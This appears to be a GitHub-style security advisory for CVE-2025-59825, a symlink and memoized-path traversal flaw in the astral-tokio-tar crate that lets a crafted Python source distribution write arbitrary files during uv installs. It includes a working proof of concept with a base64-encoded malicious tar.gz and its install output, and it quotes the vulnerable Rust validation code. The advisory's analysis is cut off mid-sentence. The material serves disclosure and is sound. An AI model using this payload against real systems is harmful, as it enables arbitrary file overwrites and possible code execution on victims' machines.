Skip to content
GoogleGHSA-9p78-p5g6-gcj8

"Astral-tokio-tar" / "uv" Arbitrary Write Path Traversal Vulnerability

MediumCVE-2025-59825 · Published Nov 18, 2025

### Summary "astral-tokio-tar", a Rust crate used by the popular tool "uv", has a vulnerability that allows arbitrary file writes when unpacking tar files. In "uv" this vulnerability allows a Python source distribution to write anywhere during extraction. This vulnerability is primarily due to astral-tokio-tar's support of symlinks and the "memoized set" behavior that skips path validation on previously observed and validated paths. Since a symlink can point to a directory, and can be changed by having multiple entries in the tar file, it is possible to create a symlink to a benign directory under the destination path, have it validated, added to the memoized set, and then change the symlink to another arbitrary directory anywhere on disk. Additionally a symlink that points to an arbitrary directory and bypasses any validation can be created by using two symlinks, where the first symlink created depends on the second symlink to bypass validation. This vulnerability allows an attacker to generate tar files that can create or change arbitrary files on the filesystem. ### Severity Medium - Due to the potential for arbitrary code execution. ### Proof of Concept ```shell mkdir /t...

GitHub advisory

Affected versions

PackageAffectedFixed in
Rust
Product
< 0.8.220.8.22
Details and references

### Summary "astral-tokio-tar", a Rust crate used by the popular tool "uv", has a vulnerability that allows arbitrary file writes when unpacking tar files. In "uv" this vulnerability allows a Python source distribution to write anywhere during extraction. This vulnerability is primarily due to astral-tokio-tar's support of symlinks and the "memoized set" behavior that skips path validation on previously observed and validated paths. Since a symlink can point to a directory, and can be changed by having multiple entries in the tar file, it is possible to create a symlink to a benign directory under the destination path, have it validated, added to the memoized set, and then change the symlink to another arbitrary directory anywhere on disk. Additionally a symlink that points to an arbitrary directory and bypasses any validation can be created by using two symlinks, where the first symlink created depends on the second symlink to bypass validation. This vulnerability allows an attacker to generate tar files that can create or change arbitrary files on the filesystem. ### Severity Medium - Due to the potential for arbitrary code execution. ### Proof of Concept ```shell mkdir /tmp/flag $ echo "hello" > /tmp/flag/flag $ ls /tmp/flag flag $ echo "H4sICOmxkWgCA2R1bW15cGFja2FnZS0wLjAuMS50YXIA7Zhra9swGIX92b9C86cNGsWSZasLbeku7MJYVxjsSwlBSdTUm29znLZh7L9PcrIm3ZousNQN7XkIsZFesMl5j44U2qbtw2N1+U6roS6dO8Gfserq+4FY3Ntx5nPGHXLpNMBkXKnSPN55nPBdklZxqveZDEUgpdiVNOAB5xF3HfDgGU7SdFqowTc10i2f+pS1l4favV6cxVWvR4vpf/k/EmK1/5l0WOgLEfBImHufhZFkDvHh/zunKOOseuq9tpp7z2D5xwbdivwP/s5/hvxvJP/l9fwPeUDl8yiUu1gLHmn+F9OizL/qQUWrPE025P/b8j8IxSL/I1PHhF0SkP8NcNKfxMmwNZ6OK5123VJ/n8SlHpN9cuKdJmbnN8hLTQ72A8p39oTXdWf1fdMxOhuaskUVradUEXuuezJvoa6bqVTbsuVG81w1qc7ysn7Mj98Vr1Si++RlmV9k3g7RqYoTOzyww307ejjK81Gi6SBPvZ9d91yX4zjPbE3duJ471ONBGRfVfNQIOybKvP6ZKofmpeD2tfx//OFt6/3Rm08bzf/b/M999kf+cxYI+L8JPupKDVWlWl9mbuoQToV7ZCzZIcu94V7N103ifjZzqpx2yDWTuS9qX7dq83bIkqPJ3o0+PoApt+/8rwf5tL3h/b/ZWTr1ST9k8yu/5vlZ/ge+YOYswKJAcIeETfp/0Z431/1r/gHt/6oNnwNn+sv19A/t/k/6LHQIrzsR+jev/+w/wI3mfyTW018yqz9jTec/9N8K/0e+Wf8DLiLr/yzPi/a6X5Su/FRp0T5N1Aj6r6O//TXvSX8ujfQ2/zmTRn8K/9/T+r/KLXez/jN+5X/JudU/klj/GyE/1+VFGVcaBzGc/xb+z/TFaZzopvzPFv4PrP+lwP6vGeZCP4H9AQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADYfn4BXGg1JABQAAA=" | base64 -d > dummypackage-0.0.1.tar.gz $ mkdir test $ cd test $ uv venv env $ . env/bin/activate $ uv pip install ../[dummypackage-0.0.1.tar.gz](http://dummypackage-0.0.1.tar.gz/) Using Python 3.12.3 environment at: env Resolved 1 package in 5ms Built dummypackage @ file:///home/calebbrown/dummypackage-0.0.1.tar.gz Prepared 1 package in 474ms Installed 1 package in 0.95ms + dummypackage==0.0.1 (from file:///home/calebbrown/dummypackage-0.0.1.tar.gz) $ ls /tmp/flag flag newfile $ cat /tmp/flag/flag overwrite $ cat /tmp/flag/newfile newfile! ``` ### Further Analysis #### Root Cause ##### Parent Memorization The "astral-tokio-tar" method `Entry.unpack_in_raw()` was added to the library in v0.5.0 to allow a memoized set to be passed in as an argument, to improve the performance of filesystem operations. In "uv", the method `untar_in()` in uv-extract creates a memoized set and uses the same set while extracting every entry in a tar file with `Entry.unpack_in_raw()`. The memoized set is used in `EntryFields.unpack_in()` with the following logic: ```Rust // Validate the parent, if we haven't seen it yet. if !memo.contains(parent) { self.ensure_dir_created(dst, parent).await.map_err(|e| { TarError::new(format!("failed to create `{}`", parent.display()), e) })?; self.validate_inside_dst(dst, parent).await?; memo.insert(parent.to_path_buf()); } ``` In this context `parent` is the parent directory for the entry currently being extracted. So, if `file_dst` is `"path/to/file.txt"` then `parent` would be `"path/to"`. The call to `self.validate_

Severity from
GitHub (reviewed advisory)

More Google advisories

All Google

Critical advisories by email

Wednesdays: the week’s critical and high advisories in the AI and data stack, with the fixed versions. Only in weeks that have some.

Double opt-in. Unsubscribe any time.